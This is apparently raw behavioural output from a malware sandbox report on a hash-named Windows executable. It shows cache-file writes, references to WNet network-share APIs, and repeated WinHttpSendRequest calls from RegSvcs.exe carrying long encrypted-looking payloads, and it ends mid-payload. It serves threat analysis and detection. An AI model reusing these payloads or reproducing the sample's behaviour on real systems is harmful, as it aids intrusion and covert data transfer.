"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\content\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\metadata\3b6e683a7a45cc59bf035c9ba8c7ab9d" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\content\3b6e683a7a45cc59bf035c9ba8c7ab9d" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\metadata\5080dc7a65db6a5960ecd874088f3328_bc00434159dae8351451cce9c748f5d7"7f:T54d,Found reference to API "WNetEnumResourceW" (Indicator: "WNetEnumResource"; Source: "00000000-00004636-00000C2B-92931076") Found reference to API "WNetAddConnectionW" (Indicator: "WNetAddConnection"; Source: "00000000-00004636-00000C2B-92931561") Found reference to API "WNetOpenEnumW" (Indicator: "WNetOpenEnum"; Source: "00000000-00004636-00000C2B-92932053") Found reference to API "WNetCancelConnectionW" (Indicator: "WNetCancelConnection"; Source: "00000000-00004636-00000C2B-92932561") Found reference to API "WNetCloseEnum" (Indicator: "WNetCloseEnum"; Source: "00000000-00004636-00000C2B-92933018") Found reference to API "WNetGetConnectionW" (Indicator: "WNetGetConnection"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "WNetAddConnection2W" (Indicator: "WNetAddConnection"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "WNetGetConnectionW" (Indicator: "WNetGetConnection"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "WNetCancelConnection2W" (Indicator: "WNetCancelConnection"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "WNetGetResourceInformationW" (Indicator: "WNetGetResourceInformation"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")80:T840d,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "605c608" "lpszHeaders": "If-None-Match: \"08f5ab0361ad71:0\"If-Modified-Since: Tue, 16 Mar 2021 07:33:42 GMT" "dwHeadersLength": "4294967295" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "604a2a8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "60768c8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "6084b30" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "60a1220" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpSendRequest" with parameters {"hRequest": "60934a8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "9b52c8" "dwHeadersLength": "0" "lpOptional": "a439a804669011bc3e03000035056fe69cec68dee0319dacd4d2f5146b422fefbabe5a21ee118eb4fdb42cc46800299de137b1b39b9654b7694e495ec6ba78a8e0ac8a144e27a4be554d8b5a47552cf7d1aa085200771e06fcee3988189ee6fbab2b5ec821636fadace7f3ab79ced181da624d25b866dbe63b8a3881cddc00cd6a72531d237acb4ae1a71d4437e163c37a59e98d505895bd1afdf6fc07eeae9babf37b74a1fc127090bc8e6d656cf3399453338ab103540846b138262df657b87691635ac93edf88cfdf02ed4981a37d5b1999b40ece6f111cd9b67244c4f35d680f7fd62a9bbda72440979f238a298ee4bdf7cae589e93ecb63dea2d8f6c42954fd32f8378344ed4205d5cd549d3df9ba93481d86228b7fe34c3d37a64eca4840e88672596e0c7f9bb592c9df00ea764e10626756a99abc5c9930556ca3d7b3f1a5f33efe98291277600c4accfbb7599768c33f57606e7cc75a5760388fa23e763bba64be8fd3840d79ac6cb6235f16a69b470add7cf3ef00a7abf13ce53fb1ea374105a5d844afad2dc373d34cd3c5d0a6c979c9d08528aeb884b663fba13f819eb51706c0b62044e7d32fe9fa08853d2aa2e023e8fd162d15f512c833e36e732c3e6cf320d756aa4c94b2f7948a171e36439b7232467d87076f76738d8ea9b86f2cc0e071802f984ad1a09fec43236f572380a58db1ed541711f6c89d10ee18eec0b4176c6727a09f19f72e646cf8e99a90886fd0777da37c618cf45648d368e9019f63ff44023c473dc2d23bfb932fcee1dfb2f5b3b1924f80b3acaf433272770120ada0247a1b506433c4edfd717c9d82cd76b88d4ead89fac7bf38f7dd293cc6b4665e266bbb3ab953c046f4e6420b05476b341dc8e50623597a1047c0bf59035cb80760a996f3b6a6109f81822232d64af683ab2b6362591dd7c09770f9d2133a93cc3e0df4ab8477f28c754b3fe9d6b6f49dc9dc1d4c0f270caec6df92db99b3fea8fba763a98b0a768e05a39cfc7c183dc4340c3ae36657a3ee87cd815cd2b25b31ad4abe1ea252037720b919dc99010210ca5ee3cbf226ca869510e8512fd3b672d737381bc343fb2e3d2428f03f00ec0075e2cb05a09e3ba9bcb4f7418771ef9f20233342910546afa76db806060f5959a2bb017d87145c498ac8c53efc4d21d06f9af2c1" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "9b8ac0" "dwHeadersLength": "0" "lpOptional": "8b5aede3e17770073e0300006fd91227bcb00578424144ce3993e760874331549ff269d5ca4e35d99f667cf72807331b0c7d2be1dfaba31e9f972677d4f39517da25af2e4b45fed43b2e13176bc0678c579be83bfc8b3ff92247e9852e70d4b6e97753860ff79bd7b656d47bad4c83f688ca887c911647d7a02af83554a081c8b47ecf851b1f2f24ba5e13986599585ad59fb8d006d844f2bc0992f01861936f793a5a20ab9ffe8ef6e355b5d28f5930b5dfcbdaad4989c283ae29f781bcf97a3e6e05430b0470b5b712632f411b4b697bd4ca8768facbc283e386f8bd1325d4b8096e024ca3b60dd40a90f5d49582d96ebae3c4380c37267c214badb8400a42be0c86b2655ec0c2f7415e898684328a544a3c0961ab0e521ad3600e823683e25c038c9da1b713617fc1092d99692255e07e3bfd20d9578cf7e2a1175efde44a0220b2a95986ae5092f4bccc33d95605e2c75f2b8deb6cb0296237e14e64ce809a258d49dfb581f17e51330c697569c913ad64aa4ff6cc686c2ee5142156c8b68601bf0c86f2508774ea594c567c2ce526c83d5e0f8b30061776a352f9655d97a9c151dfdc4dfbf95cf8a88d15bf84abe8a0f0bc069541f0d9cda5516981b394003480546ebc5d91e3f0d1ee01860275165bb9b01d10f49e5138cc58c1a218904526d5bf0807ba319ed95b836397e81d4dfb84e35f61aa303a581a568c7fd403b6f6ea0388b3a33d0893db3741c99ef5d2e55a30de33ed0745c079eb00f7a48478a0a4d9ebacd9c62fab346ecc17f727aabc156a093ecd3e12064897a2bfb949560a8075e2f15641532a179737fb84190b1afeb9478f5ee7bbde3f23f846c894452e7fd678e9d8cfdb67b6c56acb425fd96aaa898a121432ac5c4480edb44aa0f175bd7ff7c593ce88e2d7867cf03a3996c838b1d16b6a80700173f01137fb4098b5cbf0d3d2667259e0dba2930b0d2fdb8f2d38f63fedbc968f8e17af0bb686f6e456b8f8de0b1358078958120a245d4b09bba16d107f2833aae62cabc8df6b980337f7837dc4828440d6e8a1a7d6d9bee2b299a60e15fe9981da847e90329d9d05e4489e54b06ceae23e468341bf5fbd030644af3db26f1acfcee2f14c8872001c9eb517b63363c401d3e0d14851c692edd738f23fb39364075d0da2e7ece5183f01731a565e516460" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a1ad20" "dwHeadersLength": "0" "lpOptional": "1e2f72357d622c4f3e03000045c9f04089d529bbe9418c0c5a131ea9df0980d7b77bac180b06d3ca1d88602d2760be3698aec6f70cbdbbdae9e740e5eb54d732de009a61a15960de6690f1d84e52f40147dda07c935696a4add6b753ce6f0ab63abcfd7b0cb8d7d9fafbdcc2c13893ff0021e1ecf924a76619e16001710c270417eaa0180bd0b6a057e545eeb031173554f4d7705a1ff9044e54256317cb9560aa182bc3bc1d61ccf7ad84efb1fc5683b7d74dc6e56af10b4d7c3676ffc09054e88d4f6b69a099df835a1a70afe45a2edfea9345ea9957b60933131652739b2499a271cc432f7dce5b7fedac14d586c8d714e9e7cc6a394091d85e39a4ec7dcc4f589d1d8c3256d0e6777f9a64c0e82edcdfc26cea99abf9b912200224445718fc3a69360a6a750b84f70127165b803d4874c81f1bc677fb00577076ea9a055260ec110f994515b4529d7c7b90dae3ea7fd3535ffeb99c4a37acc7a95a6111fb44f0af47b15b555b56b721da668841379ee8c48034b160c8ca7456bc473205d9ebc0ec22f9fd5a1688b18dde0d9e3697a6bb3d940bfe280b73c0a48261ae555372e89e15e56c9f495e5c5d04831262d234ef22b5643ffd907a6492eea4e2ee99499a6dcb232c813f44e4ae9f3c98dfad4835cc07d372c9c200a4e4b439eac9f15049d9fc05074588ffe32e9ba70c0e702ce2bc1462b594dd33d1d8b5c1081ee08382ab6c3e03944518446c3a10161d4aecec909ec7199a9a377725b26622fdfdb370a9f8ec4253e0edeb7bfdb13f3ccdf7efee2ee488d26fba62d9075ea68d3eff5caf38b2b77fb00734524075cf4aa7202582aa127bbfec27d400d4062cc8645cd485bc98f299cabf24353ad33141549820d2722175e4d9b32dad6608b01245b6583d97f571f88ba7af56cdb6b1c6696429741b692f5882b26c1ea0a0b6c2e7379e38b7942e8aedcaf1b6db550bf8c93d82af00237d19153982391cd9ea8212a98c1252c89672b6171eee2b24eba5d5d9f7247ec188864a71cc3d041b64cf81382905cda7027fbc7dbc17cfa598427fde4d303c58bc6c69389adc6de02f1828989f63b63d7ef6e201d2e78ba83c640397113c47ddd8ebd70562e8b7dc5d24df98f694c8bb85a5463d2637aac4c36344e4751956abe0a3c8903729a5e737cfe013de174a755611caa6f3" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a1ad20" "dwHeadersLength": "0" "lpOptional": "bad4c563a73760833e030000c9cc72cf1e0952ce3020045731f6f06aa5b511cbdc31ce4a10dbb3a9eff89b9bd70ade5d7c5476d4b4de920d66249364e5f60433eabdf952f98eeae8ba015e28173d4834870be60bf04b2932585571782012a1d5dfa4327cb390ef08123d4ca18b39ab4cfb81c8c9d9eb76d64e00c622e970fc47195ecfadbaadcc2642bae8a8d64f60290242e0e8dbbcf1802b331862c2ba9052d26bb7a66b82bd0d3fe3daed3f399713b27194e036432299eca2a918ee5fac8666a40b41d6aff19aa7aa90fb40db34340706a2c87847ccd828085bd4a225751dc737db3d29826403b010a4e8f2978b8e85a3a07ad36c82090f081be8caef54947abc481809e116eca6865c82a17c1f044be4e4adb19d050cffd3d563ebf576f74ff39255947a8c6606b649e78653590b771a8c9a7d75602df2b35b53123fb7e61f021c28b4050cd330024c1b8131ce06e30d8519d53c0a4e695e4e9eb1c4f1e7e79fc5323a0bf5915321cfc11507033f652e16e7a5a79590c54bc440fdad7c8852ebfa900d7a5e9177325920513e979bc3c3a3e835cc8075e7b2e34628b2bcd7eafe3851315d30b3ceedbfd80cb43f8f2e47ed6218f477cafd4cd70449fcd88da4813400fa3fecbd9279ab909035eec7d3ec2e908893daca63bcefa58acb2b297b839d906967f6f391275bbf8df03e6e9e47abc513facc7ada8dafbd6e28c38867f7bb0eae56511e06f64cf973b7c559d91f506551cb4942e0625cbb421c2c006bde93095c0fdc4766e388c2db97e2a050fb368ba3703f28fb93dc49933bb8e553ff26a6a3787d9b4e53d7924aa2a7a9e45256bafbffa7b3455af20c9a4a2dcd10f4caf0d20f2577cf18a9a6aabecec67dd85847e9a0ed791ccca49421416af3aa67afc299e6409d3ea71c9cb84ef67de4f43c3195bfa9d357e408f5765415e2485c2754fd15688b6ab338ed0a957a3ad6a345c4a3bd244a9ccf6ff596f2144217a5f2b3948073b7263526ff91a2c4f8920e3404f9a1ca356cea21f1f60079f8d8c2e617021945ded84fe484eb20af32092862aa233c28098ed0b6f3a6fc4fd2385f17937fed916ce9ac9a262436e5797a96cefe494fcdc0a686c51099e1c4f4008444365af553b44f92a69fa12da8e546c4d0f4d666ca8e6d14c0dec637aa31f31d2da90b71d431b49e" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a1ad20" "dwHeadersLength": "0" "lpOptional": "#~Y0" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a1ad20" "dwHeadersLength": "0" "lpOptional": "8804a2c2e898103a3e030000b5cfd08dfe38d19e2c95ed4bcfb86fbfe20400aa8e676c1c631597ec0adc499a4bddf7f41ef1df344fb11400304d379b244ec4f47b8873f9f5d86fb45d4bac85f5c0c2376bed66cf196a11a6bde6059e39386bd8bec2cb1538fe9ae8a404d892bf912f7fc9fd3e8de5cf5f6948e879ddc65406418efa7cb18ced02f7271af959b5bc9f432d4d29bbc7aa5de50443a4a0087fe7b15079eb56ddb55679c4e5d9122779f68e0eca9c45d44ce4826245ea657e49129c59d93b7340befaa7728488e36089118e4366208e90bef868829a415798baf7ecd8d2debb3b253394c3f63ed6efc4d36140a57ad617b9880b989ffc836ff6ecfc38d92bc20f18430f36ce6c92170327d6b80f6d941d99ad3c78550f51512b835aeea752a7d706c1f2ae3b8a9456d38b4265cd8330c0926f6940473546ea011ce5767bce44c11705c96073d3f1eb453cbb43ca03715044926ee8c385ec440c3c2bd8c45ac4546a1dafa5e7ebe2cf4f4c0d28fc0f0aaa824302cd0010dd7280d898091666078065f6df70c2e967f509d305f62dafef40ed291ddb9c9591c73efa85e356fe73e4612685d40cc2e91440941c0ce83ab0873a1c14087c0ac610b137e892865ea63a2784b53f9c825c9fe875b49d110009c8eb31732792cfaa8c4952255d847c89fedac5cf67602f13483ecb64bf4b2c96d844e3a39e78ec47ba4e578d51b519d7bc567fe4069fdf0fa676d9d26eddd4a2b7d3768fdd5b2a1a58a6ac06b100c1f047a07c6e5dbd15cb727575bab95f56e0e06abe16deb941adc0d4721ba548f4d2add53270a0b893a33d992900a8bd39408ee3a76686a8a770099b66c97be578fa615792f3005b36403aba31fdee4df9b5000342013d699782198f66523374d57d4bbe35c170eed39766b59103113cd2adce3c838524515f7267ceb7b6ccf1400609aa1682a964142b9773e9dd3407f55c17729bf7a4d95888ce10f0a371202f05141963e6b1b39399b6b459097157f042414850b7a07e741c19352ce4e80531c298c6077b550613ea728c3912fbbb0243651a3e4b5a2378cb376a4e94c86acf6b8ca27becd927dfb348996c546319dfb5e1553632262d7fc50f5d305053bb598da0f803944bd382ea7302fd7dbbcf753d4cbef0e4983c6f0d6689422d0544f4de1105af04ba0b" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a1ad20" "dwHeadersLength": "0" "lpOptional": "bf403c41f86a7e753e030000d96b23ce674d5e4510c48235aad36c6522b8e2c7b9d6178b59f27c426731544b2446d1c84937f1edd264356776e7e39639483c09b08ce949ee4c0b99eee98586db817b17d4e31ed29cbb0f2a8e9fdfff5e45c29d7aac3f3bc7e2d5eaa34ccd8f4e74a14f6b7db17fc637f87b91029df3af9437b479e2d75ee6d2c7abc0d23f0dbf2f54a4f904f9e53cfd3a687434bae097fb91ae279be03bd0fa0eec8f24f2f0de571edbcba5a4aec07f14450fa7a7f0f55cd8694bf2186b3d2551ef27302487e66e87ae2b1b10db4bf95faf03c7325bb7e34d6235bbe193131b0aa3643dc970d5082a82098392a74bc7a1e5e592d1156b94e342f3f1657ca1e1fbcbc5eadd123749f4ac53104adca1b28a15e30ad81a1c997690941698d95707b7e376a9e7c5a693b8cb6ac05cd3639b62eee766018021c387e95483dd46e22b1c209e861ae7641bd63acc19966e3d47c9cb55e096befffd35a32ed588db5e96c06007de9b2bffb1eb5a8c494ea59a9843932e2fafde34755d3b73fbe8473101975719e7656c70e37453903fc68b707b8c699f2bef1d15595dd0bf8b6f4e2ee5230c21c8f63a86886ccd54654a531eab529c4758eff5205b4f6e0cbe25f6088cf6052fad331d38c426c8e6154ec6c6a541848a62e659d11793a6054d020535c2fcbc52561e0cc378d2e9762c04572695a1b5d09a08380175d922498a98d5eb530e6c146982b3bda38f0fdd3af1658c8f773a239233b7277b6aa147211fb7e784dd6f93550dc4948ccdbf39a9ec11b75a1e1ca522ac4f1775315ae8baaf7a19c09b7f3fac3b5cd9e450fc64e3e0875e9fab73585a7fa891dbadd542290208db944a6c832d1adce5a80190eb3e5cbad3e72eeb9b60b6e1f941fdd4e44ec6672dd290e5390e27cd2d81914ddeee695ffe0a0a6eae50b9bb8624a0473d0ad57db364bbe0e6c9b594dc428288df671b0b415d67f68db76b77b2391f99de272036654f1c132f55c82cdb177e5ef44f967bddfc40a3fd96b2744d63902dd5af244cd29b28e1660c9f29f3f2e953a8e626a217af7de38254c13e4bc843e7e98159694e198dbb7fcf915637e3c11ffc9704dbcd28928e5286160034a6b0d91a3fbad6213154bf0550f859cb63d76d68b3731da7ad9ecf7c4520a8ace411771e0ecc2bf7fd9915ea66" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a19558" "dwHeadersLength": "0" "lpOptional": "8d88c72993d8f2973e0300006ba5bbc5791b7d7ff7b20dadd27fd7bbb30c14334b7eac41a4d097bb673ff36de2943e6e54942286fb58682f3d95371ae5fe4e4a3aa1c7b6dbd6cb3b4a2a4db999bdacfab680e59dae382643cd9a3a40bfb397b904e432d9a090c4b52570f87ba39388cf591a455c9d921764fc81f7b751556fd3e592c5cc0c258c684c5f44d7bbc406b94d5e70738bb4eee7b977221ae416404f7451ae61720436a204c741c28f6c7946a834c2192eff6c3a62add8937cd165b6eb13268d82b8480ee6cdc49a7e57faf1ca5d9f7bdc2325577f28c3f91ebe0bd9329cc21406571b7fd8b094edccf465408fb40107bf021c58b4996893dfdbc9423c7776982e55e521a30335b5cc7a38750802e6bf2e1e049cd6813c1418dd533f94ba3c7c97c84bef490713027baaf8b8545ab71828b7661a7373dbea36773231599afc579ad361f8ef8aa93352d2e9c7e76a307cf22849c317db9b6800d824d6bd38077846b451d5784bdfb013f377f380bcb0386dac4dbda02fbdacdc5a94defa976308803875148a78b88d2b89b8dc9722760ba96f3592113c049ae0a5618da9f23bf9b5c32f9e5112e6ba6a08f2d46b95b38ec3b1d9bf4d7ca2a4c08bd96e4c22f5386cd32aad704aa07cd57e1b385e6fd7af438c52b1a8116eb0608af77b901f1eed09570256885dccbf7ce652e42388bde9fbc0d8f2c041847bf08eb4cdcc0a5ae1ab74874a744eb91c55c3bfb508be714fdec900cb045307e87e45c0dd5c0086c63678bb645b53ea258e7437418e03601c2ac416dd12af0604e0233c1e00b5edbdb7833dd4875da47125e6754cc5a866702615d19e939d0f5383737288292abca351e3a8cb17bafc19e1991267260e2c387d6c2c1120a58f874b35d4e8c61c728e8749e897298697f743b0c1eb749da644ddf288f2b4be8b2a033bf805da38feb9c8772e3e5f31a9ff83da777a8e34b3ee134890001fb3903ed717ed633847bef06b410be4dfc64679f99b2c0376a5998eef60677e9bb2f2b6f0059df216160df57be549a33b1abc75b0fd93805b3ec18587293694dec75c5002ed924879455a880ffcdde54c2a4140f603a626c4a059c180de2ea69a37546796b580759cc7073a028f63db3cd02bc21912323eafb3de5806d05b5780e7ee9b8e045c8f9faae68aadd44e83f1bb" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a18790" "dwHeadersLength": "0" "lpOptional": "5e0e6658ff44bab43e030000cb2d4a853110af9fc0d08d892c5b28a4a607c37536714de569bf984dc6ae22351ec2fecd43083c4a669f91fd5dbd6fe4b5523bd9cdf5f396adc3e49b70c7155ff203eb0e197ea36a9af3bf0be483bd81b3b0d09924437cda5f1aad3a58ca3f2107d559c1b895330ff55be18c4db24f1b568e920783c1a155154cd9e2e45f7796f23d86da06deca9bbb056cf70f61c3dbf59700a490b6448a81f548ca88f21485f2557046798631b6e519b351a0f279a0a3a0b23a0f2f0fdfed98cbe73c4ca1b99ccbd18c6eecb7c7004f260dff1e4a4600005d9d8b9e8857f9e212c7f8f029cfa7514fbd52b5704c0d51ec46a9f9f0fc7389846c4b8d18e3301c73655970f07919205feda842d19fd33af5cd7df236894ed39c3cf3aa8db435d58ee871ca32966720302fcecb39c81097aa20949ba7e0dab9caa10c4891ec892d1557a8e66e3e4ef33a52cf854990c9c2f59b58f2d215115c525307b74675f1065f30d660f7d57e0229def6fab6baf9885d1bdf9eac9ec3d59f04db478aee6997c5a7df822ea480f2ac806d6d9c460e63f9207cdd4b26a076018d355c4eaba3409d215c44b7219fb428c14cbdbe9e55c14d517aec4682ee8431f6a6a0f9646cf3bca834ab967dabb2a452246cf40ada47686636d5625bafab88fc12c4f7a53939d87f50a25ae34a7fe1742334385cf1bf5b67435704e934ce761d864282728f696670ff1322a7e5fda40a1b5ff7e9f5bddb75e108c3dbbf0c0cebd878be2baf0f267943f13fbb782192f15b2606ce5a573c96ad3edc0e228659192e38d754d046231a82d25246e10934dc5bb6c2aadcbdce570ab5b3f7dcbac7c2c34e433c867ffa7e5a752bc2023076c6803ca7556b0d49fe319ca92f717ea80fb8c08b520a2de11ebfe073f416fd47007cef8ec81abfd4e94c066f7b4861837c591db5c1f5bb46da1418418f492f8c5bc94ab2d70da5d95ee4aea5896d6c3710839f9ea0465266f578326e9c40aea89bb0cd1f7c1006880d8482e0d7835ba83c9fb49936c03012b40795c7c3822a6405fbeda212dff04837b0cf1b5a889b1d35b5d822aed018f8e481890ad29e71d4d60fc95804000d0f564f34c170e7b5f0741c66dbd255c5005d8eb99b5cb1e3f7f1e085c41f82543855e6c18475c0d02f7040639aa8be6757b95c7c" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a18790" "dwHeadersLength": "0" "lpOptional": "92d7af24fa48a2b53e030000e6a90b1c6cb8f087f59545976398305c6cb377f959468bf391ac1274447e97d21445aaf3568547db03c445df482b9ca57b1e29cf05ecd843dd1cd1b350181495a6452ca64d345459182e2deef81e3dfb7157af1394795ad5098cf3cacd76b2539a52910e7973b59f6afdad133637c1380c2cfb57027e58dcff79eac4b2dfd8c9852399dc453954c70e84eb86fb29f9a87194548809dc6300be18c9022904aa94f680173735ebbffb6668034969ebc36cdd753be6c3fbc03f08e527e7996934165a721877f8aa880db70f3dd810b9f591660f2a4b50ada2034f31f26c77242231e0b346386c46798644288f231d3e8623a9a431bbb787f5c6f61b58ba5ec62fd9c96ad902b144d1c66a2a8c8dcebc7563da6a15c84547bf7c314bab5307c80ad8c3d6a54146545056f0a7a96c10e500b199119d36e705b55821945173a4220e552c334218f41a5ea1b9eb9ff6bb81c10fd9170cbecfbc2edd201c160062df2979927b9fb71c8058164563e6716838230740ee4b5ea5e44c3cc28e770d17e77da7d8f34a130dcdb2506ff92ff1d6f4cc149c31a5a6cb4bc4a38aaf9fb305282e16f9c45b8f11d6c51aa13daaf489c554e895b3b7ce6bd1844ec802a45f7c56cce69093e1fb377205bc45871b7bb1ec58705a6dbd7174a470ed67850a4475f79f0984ab1548d5eb7fd2fcf4676fa2d5863aff1da1118e2ee53df8758a624815958fe47605c4eec864feef5f4e858620125a42e0a33f0305e72dce43960071bc4110b5abeb356f60ce51515468514c6fc898b6923119f7ef312df8923e755d91a5d44de8b5cbaaa1e52fe118a4dc56c8c9d5462d9afa7587ae322786599de065e9a118e6555b432773f7e3aa6f4b0a2088514caad285031509830143bfc8106837c37da3f9b9083cad6d8298a43037b12264a86a3b2cb224510410ee38e02c382a24cb60860a712ce7f82c8cb75a2932b71996e4b1f2c9a36ef0f4b4ac62eded227eff47f07e6afb8f4c7d8bc426ad662194f11d91bb467261adcc12a0bcb6b1e4dba862386aae95e4bb30b1e9a67568927e0c13af72c9e6f9c871a36a8c6e5d90602e7048ca02962f56cc20918d38b11d27da0323687f5da1c319a094b4825d5f6f3f764b56b82cdf6edc84f01519c92a76f4bebd1ba0f4a644bd349c32d6a7" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a18790" "dwHeadersLength": "0" "lpOptional": "91b1f2bf5d63e31d3e0300008effde5db0bfd35c5a4c77e938e08cc12ae06f8f9af3a15508d3c9f60e270afca601aad363155b7a437e99e8290cab52b246fc9798115d13127b9bbd557bbd3a6018e39b8712cf0e5a35238d598483e860ee89dd6f9934f4393d6cddbe76dcbfb2d7c7e6b37472c2e371d117b236ad5dc6a3f6771e9aa9e0c756c710819604c2e73d3892609432a469a0cd64397b549fd3ebed4a141f4ad18675dcc2d329c0f024782fcb4ad1219048eed4d4235f9b0699b18ddf6a64756a3ad46dc2d84858c295f5a82b26519bc0757495987722a81d38edd1bddcf4402e1f84437d4ff6504f192bbb7e8eb2851e2d9d9f281b10e443a940a1240bcfa5e0aee89a4a34ba1c0bae7ea119d456122e376454eb14c765d3e25f852ebe523ed41b809c1562dde59add72e1ee7f79ef66ed9eed0174d1eb09dceb0f3ac652f7707eb9a8a470fa9b135b1df571b3e38e39a071cf77f6ebb835b31297878bdf4b026a2ff6f5c8356e15d977e165794d7611d3794871769dc54251b4f829e6afae5ee8498d0fca4129f676271567ca0deafd7c46dc0e34a9a02e8d1f3410f4534527dd5d1e27a56d330f9bb9e737746b01578af036225d250c2dd1bd44b968c00f01d60769a5a2d8bd5fd3147fc824a12be545a6079e3472211358688ef8f3d63135d0b44a8d50e13a550de5747dea500fadd52dee36b3a8d2a9ccb01a893bc1b9f59b0ff28d771fa85c476774a2421cddeba90b1fe0a90f53ae4e405355258993286b3d0b9a005dc53b0676c80df384e25e43215d8b9e06c5b44f4ae435f6fea51c13014771a611eb61f3ee40da4f80a56372dc1a3bf7eb256d4417ab118467fc1c7a6005c960b2ec12d04fe30361481744d37aff2c4d4758fd800a4a02ba975a8cb09c559a0007d2a3f99f39377cabe886257797d94e1464e11b81f20519f818b10baf58d875c67f643866da801504ff8f2a0b6bb953a6a365b7015367fd43441a72ea4acd37528cc2bd8c00d0c9773cec617c0881519264812ba2e9b486537d657afc12f333e01eab9216fa203051180fe99ead7dfe9182b67b0852d26f600a2033365a15d10e40e4c64956ee1298f6519971bb68d3c9584d849c5e5be6b93a92171c8418c260d51c91c280a9e7e7a0f19c708fff9ebae0ebe3a1be76b76c41e6e46cb2710805" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a18790" "dwHeadersLength": "0" "lpOptional": "2a0b787660e7b1a53e03000086ac04a3b644e546ec7fac6fb95a8ad82c8c3a1dff2345995b9c6e4ccb14749c140f031e817ae12c34c9dd1d10f6528477d0c55575bff8c60ae5df1635748949848d7a74e685ce42343b9ae6a50a568bdf7ea3aea2731defcf257125acb81a64194643712d597b3d00313d8a3b6315c4cabb683905b9daf1a9e7602c69409730ed15323d8798e18506497d3359ae92ec758a7282def5f962d1ed581fe29516d510799d212de4906af0701481a551ba89946fc95114a720361b3a626d3c9863ada1e13bd401bc2ca70d749adfb7a9fe9e647902d74863c60ac32d8022d00340178a4509257c7b2209faeeb0451206bc64bd30b00fbaddb2186caaeecf69d688dfdfec760f022d96f8dd507f1ae8608ea487d12158f70ebd92191510a4bbb35467ccd5cfdea5d1f747099db5f4614733489785334734efbd879e20f03c90e7fbdc535a2eec080fd84b42fa6dc68475f302e6a8b230e8fcc602bcd0617763922cb20597984c4268fbbc2e991e81ddebccd71f5746f091d4dc6f868fc017fb599f2ac1678742620fa06df49838d95c5fc2b30f22628a40f11b8d10652d571c95046c70bd083eadd770ca3c91efc3c980b0349e8ab6888e46b62e3185915ba15c4a78015bba98eac1cb8e3039c0475d37ef8c97705a510b4c6ac4603dc8280c7c68abb8cca3b8d95b9c6287bcf43207a46ec18311cce4cd6d1c691364776ad95aab338a14f4136fea15c8b2c736199bd5fbf1e7752c88bce20184d98a7e3ad4d0e0cee58be151323ab47e18423d53a36d18eed452793750e9bf74513c85c48db61e8ea118386e60af3b8f95c3bd449415bab480267038415f71c6fdee755cac9b344288c0c7983b19d3b4972601ae4e9f91f0d3519b8060b8f884d1aea2144e308e9ad7843d50b16b8737d37c6ee5e92e0c82a138794f5